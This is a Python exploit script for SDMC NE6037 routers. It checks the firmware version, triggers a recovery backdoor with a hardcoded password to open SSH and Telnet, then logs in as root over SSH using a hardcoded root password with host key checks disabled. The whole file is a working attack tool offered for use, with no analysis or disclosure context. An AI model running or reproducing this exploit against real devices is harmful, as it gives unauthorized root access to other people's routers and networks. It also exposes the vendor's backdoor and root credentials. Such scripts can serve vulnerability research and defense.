#!/usr/bin/env python3
import requests
import urllib3
import sys
import pexpect

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

BACKDOOR_PASSWORD = "YzVlY2UxMDc4MmEzYjYzNDM3OTY5NzkyYWQ1YWM2MGEK"
VERSION = "7.1.6.0.25"

def check_exploitability(TARGET_IP):
    try:
        TARGET_URL = f"https://{TARGET_IP}/cgi-bin/router.php"
        print(f"Checking if target is vulnerable ...")
        payload = {"jsonrpc": "2.0", "method": "SYS.getRunning", "params": [], "id": 1}
        response = requests.post(TARGET_URL, json=payload, verify=False, timeout=5)
        target_firmware = response.json()['result']['softwareVersion']
        print(f"Firmware version: {target_firmware}")
        if tuple(map(int, target_firmware.split('.'))) <= tuple(map(int, VERSION.split('.'))):
            print("Vulnerable!")
            return True
        else:
            print("Patched.")
            sys.exit(1)
    except Exception as e:
        print(f"Error occurred! Possibly a different router or firmware version. Trace: {e.message} {e.args}")

def exploit_recovery_backdoor(TARGET_IP):
    TARGET_URL = f"https://{TARGET_IP}/cgi-bin/recovery.php"
    print()
    print(f"Exploiting: {TARGET_URL}")

    params = {
        "username": "admin",
        "password": BACKDOOR_PASSWORD,
        "commit": "false"
    }

    try:
        response = requests.get(
            TARGET_URL,
            params=params,
            verify=False,
            timeout=5
        )

        print(f"[+] Status Code: {response.status_code}")
        print(f"[+] Response: {response.text}")
        print()

        if response.status_code == 200 and "success" in response.text.lower():
            print("SSH (port 22) and Telnet (port 23) should now be accessible")
            return True
        else:
            print("[-] Exploit may have failed")
            return False

    except Exception as e:
        print(f"[-] Error: {e}")
        return False

def verify_ports_open(TARGET_IP):
    import socket

    print("[*] Verifying if ports are open...")

    for port, service in [(22, "SSH"), (23, "Telnet")]:
        try:
            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            sock.settimeout(3)
            result = sock.connect_ex((TARGET_IP, port))
            sock.close()

            if result == 0:
                print(f"[+] Port {port} ({service}) is OPEN")
                return True
            else:
                print(f"[-] Port {port} ({service}) is closed")
                return False
        except Exception as e:
            print(f"[-] Error checking port {port}: {e}")

def ssh_connect(TARGET_IP):
    USER = "root"
    PASSWORD = "1qaz@WSX"
    SSH_OPTIONS = "-oHostKeyAlgorithms=+ssh-rsa -oStrictHostKeyChecking=no -oUserKnownHostsFile=/dev/null"

    try:
        print()
        print(f"Connecting as root via SSH to {TARGET_IP}")
        child = pexpect.spawn(f"ssh {SSH_OPTIONS} {USER}@{TARGET_IP}", timeout=30)
        child.expect('password:')
        child.sendline(PASSWORD)
        child.interact()

    except Exception as e:
        print(f"Connection error: {e}")

if __name__ == "__main__":
    print("SDMC NE6037 - Recovery Backdoor and root SSH access exploit")
    print()
    if len(sys.argv) != 2:
        print(f"Usage: {sys.argv[0]} <SDMC Router IP>")
        sys.exit()

    TARGET_IP = sys.argv[1]

    exploitable = check_exploitability(TARGET_IP)
    if exploitable:
        answer = input("Do you want to exploit (y/n)? ")
        if answer.lower() != "y":
            print(f"Stopping further exploitation.")
            sys.exit(1)
        else: 
            port_state = verify_ports_open(TARGET_IP)
            if port_state:
                ssh_connect(TARGET_IP)
            else:
                success = exploit_recovery_backdoor(TARGET_IP)
                if success:
                    print()
                    verify_ports_open(TARGET_IP)
                    ssh_connect(TARGET_IP)

    print()
    print("=" * 70)
    print("[*] Exploitation complete")
    print("=" * 70)
